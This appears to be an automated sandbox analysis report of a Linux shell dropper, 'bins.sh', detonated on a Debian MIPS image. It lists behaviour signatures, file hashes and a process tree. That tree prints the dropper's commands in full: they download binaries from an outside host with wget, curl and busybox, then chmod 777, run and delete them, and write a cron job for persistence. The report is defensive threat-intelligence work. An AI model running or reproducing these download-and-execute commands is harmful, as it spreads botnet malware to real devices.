Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06/11/2024, 14:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-r2z4fsserr
  • SHA256 6d07bf7341cf64d238f61e4f5dc6f0724320b76af288927d392a4f7d0d72a147
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1516) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 36 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          ./4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            ./clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              PID:778
            • /bin/chmod
              chmod 777 py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • File and Directory Permissions Modification
              PID:783
            • /tmp/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              ./py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:785
            • /bin/rm
              rm py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              PID:788
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:790
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:797
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • File and Directory Permissions Modification
              PID:800
            • /tmp/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              ./B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • Executes dropped EXE
              PID:801
            • /bin/rm
              rm B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
                PID:803
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:818
              • /bin/chmod
                chmod 777 QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • File and Directory Permissions Modification
                PID:824
              • /tmp/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                ./QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • Executes dropped EXE
                PID:825
              • /bin/rm
                rm QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                  PID:829
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:830
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:843
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:848
                • /bin/chmod
                  chmod 777 p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  2⤵
                  • File and Directory Permissions Modification
                  PID:849
                • /tmp/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  ./p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  2⤵
                  • Executes dropped EXE
                  PID:850
                • /bin/rm
                  rm p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                  2⤵
                    PID:852
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:853
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:854
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /bin/chmod
                    chmod 777 FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    2⤵
                    • File and Directory Permissions Modification
                    PID:857
                  • /tmp/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    ./FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    2⤵
                    • Executes dropped EXE
                    PID:858
                  • /bin/rm
                    rm FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                    2⤵
                      PID:860
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:861
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:862
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /bin/chmod
                      chmod 777 zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      2⤵
                      • File and Directory Permissions Modification
                      PID:865
                    • /tmp/zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      ./zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      2⤵
                      • Executes dropped EXE
                      PID:866
                    • /bin/rm
                      rm zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                      2⤵
                        PID:868
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:869
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:870
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:872
                      • /bin/chmod
                        chmod 777 J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        2⤵
                        • File and Directory Permissions Modification
                        PID:873
                      • /tmp/J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        ./J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        2⤵
                        • Executes dropped EXE
                        PID:874
                      • /bin/rm
                        rm J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                        2⤵
                          PID:876
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:877
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:878
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:880
                        • /bin/chmod
                          chmod 777 EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          2⤵
                          • File and Directory Permissions Modification
                          PID:881
                        • /tmp/EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          ./EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          2⤵
                          • Executes dropped EXE
                          PID:882
                        • /bin/rm
                          rm EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                          2⤵
                            PID:884
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:885
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:886
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:888
                          • /bin/chmod
                            chmod 777 L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                            2⤵
                            • File and Directory Permissions Modification
                            PID:889
                          • /tmp/L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                            ./L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:890
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:892
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:893
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:894
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:895
                                • /bin/rm
                                  rm L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                                  2⤵
                                    PID:897
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/mQTOiqrjAcOYpmoDz8oRYFQaoNGYCX3Ud7
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:900

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9

                                      • Path /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm

                                      • Path /tmp/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
                                      • Size 141KB
                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                      • MD5 SHA1 SHA512 SSDEEP

                                      EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z

                                      • Path /tmp/EeOfFfALX73rrQhbooFvFjaTro2xpKoA9z
                                      • Size 119KB
                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP

                                      • Path /tmp/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                      • Size 98KB
                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f

                                      • Path /tmp/J7yEqIFwcdNpIG1tV8gUVym2fz5z0tAc8f
                                      • Size 107KB
                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                      • MD5 SHA1 SHA512 SSDEEP

                                      L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr

                                      • Path /tmp/L5UnqQpHxVWLumhfifAyBFJ2vXSxYAb1Xr
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      QRS7STRBuJefUzuXekDWIK7gurvyojNZS4

                                      • Path /tmp/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx

                                      • Path /tmp/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP

                                      p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm

                                      • Path /tmp/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      py74xNAoxGOPMP79AVvbPZauiJMiphQ08o

                                      • Path /tmp/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP

                                      zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm

                                      • Path /tmp/zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                                      • Size 177KB
                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.F7mJiV

                                      • Path /var/spool/cron/crontabs/tmp.F7mJiV
                                      • Size 210B
                                      • SHA256 b3618ea9661440f783a9b208573e74437f8b4e56f4272b3ca294e5cc9c42301b
                                      • MD5 SHA1 SHA512